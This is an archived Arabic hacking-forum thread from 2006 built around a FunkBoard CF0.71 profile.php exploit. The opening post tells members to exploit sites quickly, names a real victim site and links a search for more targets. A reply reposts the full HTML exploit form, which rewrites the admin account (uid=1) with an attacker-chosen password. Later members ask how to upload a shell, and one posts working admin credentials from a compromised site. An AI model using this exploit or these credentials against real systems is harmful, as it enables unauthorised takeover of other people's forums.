المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : && ثغرة طازجة للغوالي FunkBoard CF0.71 profile.php &&


Root_Mor
05-06-2006, 02:03
السلام عليكم

ثغرة طازجة ساضعها لكم اخواني لتستغلونها قبل فوات الاوان

http://www.milw0rm.com/exploits/1875

الملف يجب حفظه بصيغة html و قبل دالك غير xxxx بموقع الضحية |114|

و هدا هو السطر اللدي عيه التغيير

http://www.xxxx.com/funk/profile.php

بعد فتحه سترى كما في الصورة

http://altlagee.com/upload/upload/root1.JPG

موقع للتطبيق

http://www.craftygirls.nl/funk/profile.php

http://altlagee.com/upload/upload/root.JPG

شوفوتووو :d صرت ادمين للمنتدى الان مبروك عليك الترقية |28|

و للمزيد من المواقع اضغط على الوصلة التالية

إضغط هنااااااااااااا (http://www.google.com/search?hl=en&q=Powered+by+FunkBoard&btnG=Google+Search)

الثغرة كفيلة بان تغير كل معلومات الادمين حتى اسم المستخدم

تحياتي و هناك المزيد ان شاء الله |37|






Powered by FunkBoard

LYCAN
05-06-2006, 03:31
مشكور اخوي وماقصرت وجاري التطبيق

][S.S][
05-06-2006, 06:57
مشكووووور يعطيك العافيه

][S.S][
05-06-2006, 07:57
خوي دخلت باسم الادمن وبعدين هل في طريقه اقدر ارفع فيها شل |38|

قائد
05-06-2006, 09:43
يــعــطــيك الف عــافـيـة

مسمار جحا
05-06-2006, 08:37
يعطيك الف عافية اخوي
سلمت يدينك
جاري التجربة

ميدو العراقي
08-06-2006, 06:02
عاشت ايدك يا بطل

اخوي بس ممكن تقلي وين اخلي اسم الموقع لان بحثت عن هذه http://www.xxxx.com/funk/profile.php ولم اجدها

شوف هذا

<!--
Change action="http://profile.php" under the <form tags> /str0ke
-->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>&@#&@#&@#&@#&@#&@# http-&@#&@#&@#&@#&@#="&@#&@#&@#&@#&@#&@#&@#-Type" &@#&@#&@#&@#&@#&@#&@#="text/html; charset=utf-8"></head><body><form enctype="multipart/form-data" action="http://profile.php" method="POST" target="_blank" onsubmit="return window.confirm(&quot;You are submitting information to an external page.\nAre you sure?&quot;);">
<table cellspacing="1" cellpadding="2" border="0" width="100%">
<th colspan="4" bgcolor="#003366">
<b><span><font color="#FFbb33">Profile</font></span></b>
</th>

<tr>
<td bgcolor="#888888" valign="top" width="20%">
<b>User Name</b>
</td>
<td bgcolor="#BBBBBB" colspan="3">

ajann </td>
</tr> <tr>
<td bgcolor="#888888" valign="top" width="20%">
<b>Membership Number</b>
</td>
<td bgcolor="#BBBBBB" colspan="3">
247 </td>

</tr>
<tr>
<td bgcolor="#888888" valign="top" width="20%">
<b>First Registered</b>
</td>
<td bgcolor="#BBBBBB" colspan="3">
Sat 03 Jun 2006 at 09:20:14 pm </td>
</tr>
<tr>
<td bgcolor="#888888" valign="top" width="20%">

<b>Last Login</b>
</td>
<td bgcolor="#BBBBBB" colspan="3">
Sat 03 Jun 2006 at 09:21:45 pm </td>
</tr>
<tr>
<td bgcolor="#888888" valign="top" width="20%">
<b>Number of posts</b>

</td>
<td bgcolor="#BBBBBB" colspan="3">
0 </td>
</tr>

<tr>
<td bgcolor="#888888" valign="top" width="20%">
<b>Status</b>
</td>

<td bgcolor="#BBBBBB" colspan="3">
Member </td>
</tr>

<th colspan="4" bgcolor="#003366">
<b><span><font color="#FFbb33">Entries marked with a * are
required</font></span></b>
</th>
<tr>
<td bgcolor="#888888" valign="top" width="20%">
<b>User Name</b> <font color="#ff0000">*</font>

</td>
<td bgcolor="#BBBBBB" colspan="3">
<input size="30" name="rname" value="ajann">
</td>
</tr>
<tr>
<td bgcolor="#888888" valign="top">
<b>Your Name</b> </td>
<td bgcolor="#BBBBBB" colspan="3">

<input size="30" name="realname" value="ajann">
</td>
</tr>
<tr>
<td bgcolor="#888888" valign="top" width="20%">
<b>Password</b> <font color="#ff0000">*</font>
</td>
<td bgcolor="#BBBBBB" colspan="3">
<input type="password" size="30" name="pass" value="8ebOZmF5pe">

</td>
</tr>
<tr>
<td bgcolor="#888888" valign="top">
<b>Confirm Password</b> <font color="#ff0000">*</font>
</td>
<td bgcolor="#BBBBBB" colspan="3">
<input type="password" size="30" name="cpass" value="8ebOZmF5pe">
</td>

</tr>
<tr>
<td bgcolor="#888888" valign="top">
<b>E-mail</b> <font color="#ff0000">*</font>
</td>
<td bgcolor="#BBBBBB" colspan="3">
<input size="30" name="fmail" value="">
Hide Email Address? <input type="radio" name="priv" value="yes">Yes
<input type="radio" name="priv" value="no" checked>No
</td>

</tr>
<tr>
<td bgcolor="#888888" valign="top">
Prefered Language </td>
<td bgcolor="#BBBBBB" colspan="3">
<select name="newlang">
<option value="dutch.flf">dutch</option> <option value="english.flf" selected>english</option> </select>
</td>

</tr>
<tr>
<td bgcolor="#888888" valign="top">
Homepage </td>
<td bgcolor="#BBBBBB" colspan="3">
<input size="30" name="www" value="">
</td>
</tr>
<tr>
<td bgcolor="#888888" valign="top">

ICQ </td>
<td bgcolor="#BBBBBB" colspan="3">
<input size="30" name="icq" value="">
</td>
<tr>
<td bgcolor="#888888" valign="top">
AOL Instant Messenger (AIM) </td>
<td bgcolor="#BBBBBB" colspan="3">
<input size="30" name="aim" value="">
</td>

</tr>
<tr>
<td bgcolor="#888888" valign="top">
Yahoo Instant Messenger (YIM) </td>
<td bgcolor="#BBBBBB" colspan="3">
<input size="30" name="yim" value="">
</td>
</tr>
<tr>
<td bgcolor="#888888" valign="top">
Location<font color="#ff0000">*</font> </td>

<td bgcolor="#BBBBBB" colspan="3">
<input size="30" name="location" value="asdsadasdasd">
</td>
</tr>
<tr>
<td bgcolor="#888888" valign="top">
Hobbies/Interests </td>
<td bgcolor="#BBBBBB" colspan="3">
<input size="90" name="interebbies" value="">
</td>
</tr>

<tr>
<td bgcolor="#888888" valign="top">
Gender (M/F) </td>
<td bgcolor="#BBBBBB" colspan="3">
<input size="1" name="sex" value="">
</td>
</tr>
<tr>
<td bgcolor="#888888" valign="top">
Date of Birth </td>

<td bgcolor="#BBBBBB" colspan="3">
<select name="dobday">
<option selected>1</option>
<option>2</option>
<option>3</option>
<option>4</option>
<option>5</option>
<option>6</option>
<option>7</option>

<option>8</option>
<option>9</option>
<option>10</option>
<option>11</option>
<option>12</option>
<option>13</option>
<option>14</option>
<option>15</option>
<option>16</option>

<option>17</option>
<option>18</option>
<option>19</option>
<option>20</option>
<option>21</option>
<option>22</option>
<option>23</option>
<option>24</option>
<option>25</option>

<option>26</option>
<option>27</option>
<option>28</option>
<option>29</option>
<option>30</option>
<option>31</option>
</select>
<select name="dobmonth">
<option value="1" selected>January</option>
<option value="2">February</option>

<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>

<option value="12">December</option>
</select>
<input size="4" name="dobyear" value="">
</td>
</tr>

<tr>
<td bgcolor="#888888" valign="top">
Signature (&lt; 100 characters) </td>
<td bgcolor="#BBBBBB" colspan="3">

<textarea name="sig" rows="3" cols="35"> </textarea>
</td>
</tr>
<tr>
<td bgcolor="#888888" valign="top">
Use an Avatar ? </td>
<td bgcolor="#BBBBBB">
Current Avatar - <input type="hidden" name="avatar" value="No Avatar">

No Avatar
<input type="submit" name="action" value="Select Avatar"></td>

</tr>
<tr>
<td bgcolor="#888888" valign="top">
Upload Avatar ?<br>(GIF, JPG or PNG only) </td>
<td bgcolor="#BBBBBB">
<input type="FILE" name="userfile" size="35">
<input type="hidden" name="MAX_FILE_SIZE" value="5242880">
</td>
</tr>
<tr>
<td bgcolor="#888888" valign="top">

<b>Submit</b>
</td>
<td bgcolor="#BBBBBB" colspan="3">
<input type="hidden" name="uid" value="1">
<input type="submit" name="action" value="Edit Profile">
</td>
</tr>
</tr></table></form>

</body></html>

# milw0rm.com [2006-06-04]




اين اضع الموقع الي اريد اخترقه ؟؟

اذا احد من الاعضاء يعرف الاجابه ارجو ان ما يبخل عليي بالاجابه ولكم جزيل الشكر

تقبلو تحياتي


اخوكم ميدو

Root_Mor
08-06-2006, 06:13
انظر الصورة عزيزي

http://www.arab-x.com/uploads/Jun-06/ae5617048c.jpg

تحيااااتي

ميدو العراقي
08-06-2006, 10:10
يسلمووو ياورده ما تقصر

بس شوف عندما اطبق الثغره يطلع لي هذه الصوره وافتح الملف يطلع لي كما بالصوره


http://www.4img.com/ar/up/06/06/08/46d0671dd4117ea366031f87f3aa0093.jpg



ومشكور اخوي مقدما


تحياتي

اخوك ميدو

عاصفةالصحراء
08-06-2006, 11:32
اخوي جربتها بس يقلي اخر الشي

That user does not exist

يعني الطريقة مايمشي حالها ماصرنا ادمن

عاصفةالصحراء
08-06-2006, 11:54
اظن اخوي انو لازم تعرف اسم الادمن وتغيره بالصفحة مو بس رابط الموقع كمان اسم العضو او الادمن

فـ الحربي ـهد
09-06-2006, 06:26
شكرا وجاري التطبيق

ياما بكتني الدنيا
10-06-2006, 12:40
يعطيك العافيه > تمت التجربة وكانت ناجحة مية بالمية :) >> أول ثغرة بحياته تجي معه صح هههههههه


وهذا الرابط :-
http://www.bloginservice.com/qteboard/index.php

الادمن : 3asfh
الباسسورد: 4545
علشان التاكيد > مو مصدق اول مرهـ تزبط معه ثغرة :)

متكي ورا الشمس
10-06-2006, 02:30
يعطيك العافيه ولاهنت ...